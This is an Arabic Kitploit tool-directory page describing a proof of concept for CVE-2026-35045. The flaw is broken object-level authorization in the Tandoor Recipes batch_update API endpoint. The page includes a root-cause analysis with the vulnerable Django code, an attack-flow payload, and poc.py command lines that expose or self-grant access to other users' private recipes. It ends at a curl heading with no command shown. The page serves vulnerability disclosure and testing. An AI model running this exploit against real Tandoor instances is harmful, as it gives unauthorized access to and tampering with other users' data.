Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-35045-PoC — إثبات مفهوم لاستغلال CVE-2026-35045، وهي ثغرة في تفويض الوصول على مستوى الكائنات في تطبيق Tandoor Recipes، توضح تعديل الوصفات غير المصرح به عبر نقطة نهاية واجهة برمجة التطبيقات batch_update. | Kitploit
أدوات/GitHubGitHub/filipegaudard/cve-2026-35045-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراقالتعلم والتعليم
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

إثبات مفهوم لاستغلال CVE-2026-35045، وهي ثغرة في تفويض الوصول على مستوى الكائنات في تطبيق Tandoor Recipes، توضح تعديل الوصفات غير المصرح به عبر نقطة نهاية واجهة برمجة التطبيقات batch_update.

عرض المستودع
1119منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-35045 — تفويض مكسور على مستوى الكائن في Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


الملخص

تسمح نقطة النهاية PUT /api/recipe/batch_update/ في Tandoor Recipes الإصدار 2.6.1 لأي مستخدم مصادق عليه داخل مساحة (Space) بتعديل أي وصفة في تلك المساحة — بما في ذلك الوصفات الخاصة المملوكة لمستخدمين آخرين. هذا يتجاوز تمامًا فحوصات التفويض على مستوى الكائن المفروضة على جميع نقاط نهاية الوصفات الفردية القياسية.

السبب الجذري هو فجوة سلوكية في Django REST Framework: إجراءات القائمة (detail=False) لا تستدعي أبدًا has_object_permission()، بل تستدعي فقط has_permission(). تقوم تصفية مجموعة الاستعلام (queryset) فقط على space=request.space، دون أي فحص لـ created_by أو private أو قائمة shared. يمكن للمهاجم إجبار الوصفات الخاصة على الظهور، ومنح نفسه وصولًا دائمًا، وسحب صلاحيات المستخدمين الآخرين، والتلاعب بالبيانات الوصفية — كل ذلك في استدعاء API واحد يبدو غير مصرح به ويعيد HTTP 200 OK بجسم فارغ.

تفاصيل الثغرة

الحقلالقيمة
معرف CVECVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — تجاوز التفويض عبر مفتاح يتحكم به المستخدم
CVSS v3.18.1 عالية — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
الإصدار المتأثرTandoor Recipes ≤ 2.6.1
البائعTandoorRecipes/recipes

تعيين MITRE ATT&CK

معرف التقنيةالاسمالصلة
T1078حسابات صالحةيستخدم المهاجم بيانات اعتماد شرعية منخفضة الامتياز لتجاوز التفويض
T1565.001التلاعب بالبيانات المخزنةتعديل الوصفات الخاصة وقوائم التحكم بالوصول (ACLs) المملوكة لمستخدمين آخرين

تحليل السبب الجذري

1. detail=False يتجاوز فحوصات صلاحيات مستوى الكائن

الملف: cookbook/views/api.py

@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← لا يوجد فحص created_by أو private
        )

في Django REST Framework، الإجراءات المسجلة بـ detail=False هي إجراءات قائمة. وهي لا تستدعي أبدًا get_object()، مما يعني أن check_object_permissions() و CustomRecipePermission.has_object_permission() لا يتم استدعاؤهما أبدًا. يتم تشغيل has_permission() فقط — والذي يتحقق من عضوية المساحة، وليس ملكية الوصفة.

2. نقاط النهاية القياسية محمية بشكل صحيح

PUT /api/recipe/{id}/ يتبع تدفق صلاحيات DRF الكامل:

get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → يرفض الوصول إذا كانت الوصفة خاصة وغير مملوكة/مشاركة مع الطالب

نقطة نهاية batch_update تتخطى هذه السلسلة بأكملها بصمت.

3. الحقول القابلة للكتابة عبر الدفعة

يكشف RecipeBatchUpdateSerializer عن الحقول التالية — قابلة للكتابة على أي وصفة في المساحة:

الحقلالتأثير
privateتبديل رؤية الوصفة
shared_add / shared_remove / shared_setالتلاعب بقائمة التحكم بالوصول
keywords_add / keywords_remove / keywords_setتغيير البيانات الوصفية للوصفة
working_time / waiting_timeتعديل بيانات توقيت الوصفة

تدفق الهجوم

┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ المهاجم  │ ─────────────────────────────────────→│  خادم Tandoor  │
│ (المستخدم B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (عضو في المساحة)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ لا يُستدعى أبدًا │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← لا يوجد فحص ملكية
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  الوصفة ID 2   │
                                                   │  (مملوكة لـ A) │
                                                   │  private=false ← تم التعديل
                                                   │  shared=[2]  ← منح ذاتي
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ المهاجم (B)    │
                                                   │ لديه الآن وصول │
                                                   │ كامل إلى       │
                                                   │ الوصفة ID 2    │
                                                   └────────────────┘

إثبات المفهوم

المتطلبات

  • Python 3.10+
  • مكتبة requests
pip install requests

الاستخدام

# إجبار وصفة خاصة على الظهور ومنح الوصول ذاتيًا (الافتراضي)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# الإجبار على الظهور فقط (تعيين private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# المنح الذاتي فقط (إضافة إلى قائمة المشاركة، مع إبقاء private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

الوحدات / الإجراءات

الإجراءالوصف
exposeيعيّن private: false على الوصفة المستهدفة — يجبرها على الظهور لجميع أعضاء المساحة
self_grantيضيف معرف المستخدم المهاجم إلى shared_add — يمنح وصولًا دائمًا حتى لو بقيت الوصفة خاصة
bothينفذ كلا الإجراءين في طلب واحد (الافتراضي)

التحقق اليدوي (curl)

تنزيل الأداة